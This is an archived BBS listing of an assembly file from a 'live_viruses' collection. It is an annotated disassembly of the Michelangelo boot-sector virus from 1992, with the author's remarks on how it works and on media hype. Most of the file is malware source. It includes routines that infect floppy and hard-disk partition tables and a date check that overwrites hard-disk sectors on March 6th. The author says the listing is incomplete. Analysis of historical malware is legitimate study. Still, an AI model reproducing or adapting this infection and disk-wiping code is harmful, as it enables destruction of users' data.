home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / micheal.asm < prev    next >
Assembly Source File  |  1992-06-15  |  11KB  |  226 lines

  1.  
  2. ;
  3. ;
  4. ;     Michelangelo
  5. ;     Size: 512
  6. ;     Type: Boot infector
  7. ;     Date of action: March 6th
  8. ;
  9. ;
  10.  
  11. data_1e         equ     4Ch                     ; (0000:004C=1DB1h)
  12. data_2e         equ     4Eh                     ; (0000:004E=70h)
  13. data_3e         equ     413h                    ; (0000:0413=280h)
  14. data_4e         equ     7C05h                   ; (0000:7C05=203Ch)
  15. data_5e         equ     7C0Ah                   ; (0000:7C0A=49EBh)
  16. data_6e         equ     7C0Ch                   ; (0000:7C0C=2A3Ch)
  17. data_7e         equ     7                       ; (694E:0007=0)
  18. data_8e         equ     8                       ; (694E:0008=0)
  19. data_9e         equ     0Ah                     ; (694E:000A=0)
  20. data_11e        equ     7C03h                   ; (694E:7C03=0)
  21.  
  22. seg_a           segment
  23.                 assume  cs:seg_a, ds:seg_a
  24.  
  25.  
  26.                 org     100h
  27.  
  28. mich            proc    far
  29.  
  30. start:
  31.                 jmp     loc_6 ; (01AF) "This is what you see at sector 0"
  32.                 db      0F5h, 0, 80h, 9Fh, 2, 3 ; A lot of the virus is hidden
  33.                 db      0, 56h, 2, 0, 0C8h, 1Eh ; in these defined bytes
  34.                 db      50h, 0Ah, 0D2h, 75h, 1Bh, 33h ; watch this carefully
  35.                 db      0C0h, 8Eh, 0D8h, 0F6h, 6, 3Fh ; or you will miss where
  36.                 db      4, 1, 75h, 10h, 58h, 1Fh ; it writes to your
  37.                 db      9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 ; partiton table
  38.                 db      9Ch, 0E8h, 0Bh, 0, 9Dh, 0CAh
  39.                 db      2, 0, 58h, 1Fh, 2Eh, 0FFh
  40.                 db      2Eh, 0Ah, 0, 50h, 53h, 51h
  41.                 db      52h, 1Eh, 6, 56h, 57h, 0Eh
  42.                 db      1Fh, 0Eh, 7, 0BEh, 4, 0
  43. loc_1: ;Init registers
  44.                 mov     ax,201h
  45.                 mov     bx,200h
  46.                 mov     cx,1
  47.                 xor     dx,dx                   ; Zero register
  48.                 pushf                           ; Push flags
  49.                 call    dword ptr ds:data_9e    ; (694E:000A=0)
  50.                 jnc     loc_2                   ; Jump if carry=0
  51.                 xor     ax,ax                   ; Zero register
  52.                 pushf                           ; Push flags
  53.                 call    dword ptr ds:data_9e    ; (694E:000A=0)
  54.                 dec     si
  55.                 jnz     loc_1                   ; Jump if not zero
  56.                 jmp     short loc_5             ; (01A6)
  57. loc_2: ;Zero registers clear direction
  58.                 xor     si,si                   ; Zero register
  59.                 cld                             ; Clear direction
  60.                 lodsw                           ; String [si] to ax
  61.                 cmp     ax,[bx]
  62.                 jne     loc_3                   ; Jump if not equal
  63.                 lodsw                           ; String [si] to ax
  64.                 cmp     ax,[bx+2]
  65.                 je      loc_5                   ; Jump if equal
  66. loc_3: ; cmp byte ptr See infected
  67.                 mov     ax,301h
  68.                 mov     dh,1
  69.                 mov     cl,3
  70.                 cmp     byte ptr [bx+15h],0FDh
  71.                 je      loc_4                   ; Jump if equal
  72.                 mov     cl,0Eh
  73. loc_4: ;call out all db hiden data
  74.                 mov     ds:data_8e,cx           ; (694E:0008=0)
  75.                 pushf                           ; Push flags
  76.                 call    dword ptr ds:data_9e    ; (694E:000A=0)
  77.                 jc      loc_5                   ; Jump if carry Set
  78.                 mov     si,3BEh
  79.                 mov     di,1BEh
  80.                 mov     cx,21h
  81.                 cld                             ; Clear direction
  82.                 rep     movsw                   ; Rep while cx>0 Mov [si]
  83.                 mov     ax,301h                 ; to es:[di]
  84.                 xor     bx,bx                   ; Zero register
  85.                 mov     cx,1
  86.                 xor     dx,dx                   ; Zero register
  87.                 pushf                           ; Push flags
  88.                 call    dword ptr ds:data_9e    ; (694E:000A=0)
  89. loc_5: ;Clear all set
  90.                 pop     di
  91.                 pop     si
  92.                 pop     es
  93.                 pop     ds
  94.                 pop     dx
  95.                 pop     cx
  96.                 pop     bx
  97.                 pop     ax
  98.                 retn
  99. loc_6: ;Load all hiden data
  100.                 xor     ax,ax                   ; Zero register
  101.                 mov     ds,ax
  102.                 cli                             ; Disable interrupts
  103.                 mov     ss,ax
  104.                 mov     ax,7C00h
  105.                 mov     sp,ax
  106.                 sti                             ; Enable interrupts
  107.                 push    ds
  108.                 push    ax
  109.                 mov     ax,ds:data_1e           ; (0000:004C=1DB1h)
  110.                 mov     ds:data_5e,ax           ; (0000:7C0A=49EBh)
  111.                 mov     ax,ds:data_2e           ; (0000:004E=70h)
  112.                 mov     ds:data_6e,ax           ; (0000:7C0C=2A3Ch)
  113.                 mov     ax,ds:data_3e           ; (0000:0413=280h)
  114.                 dec     ax
  115.                 dec     ax
  116.                 mov     ds:data_3e,ax           ; (0000:0413=280h)
  117.                 mov     cl,6
  118.                 shl     ax,cl                   ; Shift w/zeros fill
  119.                 mov     es,ax
  120.                 mov     ds:data_4e,ax           ; (0000:7C05=203Ch)
  121.                 mov     ax,0Eh
  122.                 mov     ds:data_1e,ax           ; (0000:004C=1DB1h)
  123.                 mov     ds:data_2e,es           ; (0000:004E=70h)
  124.                 mov     cx,1BEh
  125.                 mov     si,7C00h
  126.                 xor     di,di                   ; Zero register
  127.                 cld                             ; Clear direction
  128.                 rep     movsb                   ; Rep while cx>0 Mov [si]
  129.                 jmp     dword ptr cs:data_11e   ; to es:[di] (694E:7C03=0)
  130.                 db      33h, 0C0h, 8Eh, 0C0h, 0CDh, 13h ;<- Notice all the
  131.                 db      0Eh, 1Fh, 0B8h, 1, 2, 0BBh      ;          cd 13
  132.                 db      0, 7Ch, 8Bh, 0Eh, 8, 0
  133.                 db      83h, 0F9h, 7, 75h, 7, 0BAh
  134.                 db      80h, 0, 0CDh, 13h, 0EBh, 2Bh
  135.                 db      8Bh, 0Eh, 8, 0, 0BAh, 0
  136.                 db      1, 0CDh, 13h, 72h, 20h, 0Eh
  137.                 db      7, 0B8h, 1, 2, 0BBh, 0
  138.                 db      2, 0B9h, 1, 0, 0BAh, 80h
  139.                 db      0, 0CDh, 13h, 72h, 0Eh, 33h
  140.                 db      0F6h, 0FCh, 0ADh, 3Bh, 7, 75h
  141.                 db      4Fh, 0ADh, 3Bh, 47h, 2
  142.                 db      75h, 49h
  143. loc_7:;check if it is time to nuke
  144.                 xor     cx,cx                   ; Zero register
  145.                 mov     ah,4
  146.                 int     1Ah ; Real time clock   ah=func 04h don't work on an xt
  147.                                                 ; read date cx=year, dx=mon/day
  148.                 cmp     dx,306h                 ; See if March 6th
  149.                 je      loc_8                   ; Jump if equal to nuking subs
  150.                 retf                            ; Return to launch command.com
  151. loc_8:;get ready
  152.                 xor     dx,dx                   ; Zero register
  153.                 mov     cx,1
  154. loc_9:;run 7 times nuke 31.5 megs of hd
  155.                 mov     ax,309h
  156.                 mov     si,ds:data_8e           ; (694E:0008=0)
  157.                 cmp     si,3
  158.                 je      loc_10                  ; Jump if equal
  159.                 mov     al,0Eh
  160.                 cmp     si,0Eh
  161.                 je      loc_10                  ; Jump if equal
  162.                 mov     dl,80h
  163.                 mov     byte ptr ds:data_7e,4   ; (694E:0007=0)
  164.                 mov     al,11h
  165. loc_10: ;nuke away
  166.                 mov     bx,5000h
  167.                 mov     es,bx
  168.                 int     13h                     ; Disk  dl=drive a: ah=func 03h
  169.                                                 ;  write sectors from mem es:bx
  170.                 jnc     loc_11                  ; Jump if carry=0
  171.                 xor     ah,ah                   ; Zero register
  172.                 int     13h                     ; Disk  dl=drive a: ah=func 00h
  173.                                                 ;  reset disk, al=return status
  174. loc_11: ;rest for loc-9 nuking
  175.                 inc     dh
  176.                 cmp     dh,ds:data_7e           ; (694E:0007=0)
  177.                 jb      loc_9                   ; Jump if below
  178.                 xor     dh,dh                   ; Zero register
  179.                 inc     ch
  180.                 jmp     short loc_9             ; (0250)
  181. loc_12:;time to infect a floppie or hard dirve
  182.                 mov     cx,7
  183.                 mov     ds:data_8e,cx           ; (694E:0008=0)
  184.                 mov     ax,301h
  185.                 mov     dx,80h
  186.                 int     13h     ; Disk  dl=drive a: ah=func 03h infect flopie
  187.                                                 ;  write sectors from mem es:bx
  188.                 jc      loc_7                   ; Jump if carry Set
  189.                 mov     si,3BEh
  190.                 mov     di,1BEh
  191.                 mov     cx,21h
  192.                 rep     movsw                   ; Rep while cx>0 Mov [si]
  193.                 mov     ax,301h                 : to es:[di]
  194.                 xor     bx,bx                   ; Zero register
  195.                 inc     cl
  196.                 int     13h ; Disk  dl=drive a: ah=func 03h lets infect hd
  197.                                                 ;  write sectors from mem es:bx
  198. ;*              jmp     short loc_13            ;*(02E0)
  199.                 db      0EBh, 32h
  200.                 db      1, 4, 11h, 0, 80h, 0
  201.                 db      5, 5, 32h, 1, 0, 0
  202.                 db      0, 0, 0
  203.                 db      53h, 53h, 20h, 20h, 43h, 4Fh
  204.                 db      4Dh
  205.                 db      58 dup (0)
  206.                 db      55h, 0AAh
  207.  
  208. seg_a           ends
  209.  
  210. ;Last notes this virus looks like a poor hack job on the stoned virus.
  211. ;It is kinda cool in the fact that it is hard to get out of the partition table
  212. ;even if you nuke the partition table it will live on even if you replace it.
  213. ;the only way to get it out of the partition table is 1. debug 2.clean ver 86b
  214. ;3 cpav 1.0 and above. oh yeah and all that special shit that came out for it
  215. ;this virus uses int 1ah which doesn't work on an XT system.
  216. ;the virus isn't actually 512 but that is how much it writes.
  217. ;it moves the boot area of a floppy to the last sector on the disk
  218. ;and on a harddrive it moves it to the last sector in the root directory
  219. ;This should show you all how much the media can over do it on things
  220. ;since this is really a lame virus,to tell you the truth there is a lot better
  221. ;ones out there.
  222. ;This in no way is a complete listing of the code for the virus.
  223. ;Nor is it the best since i'm not the best at Assembly.
  224. ;Done by Visionary.
  225.  
  226.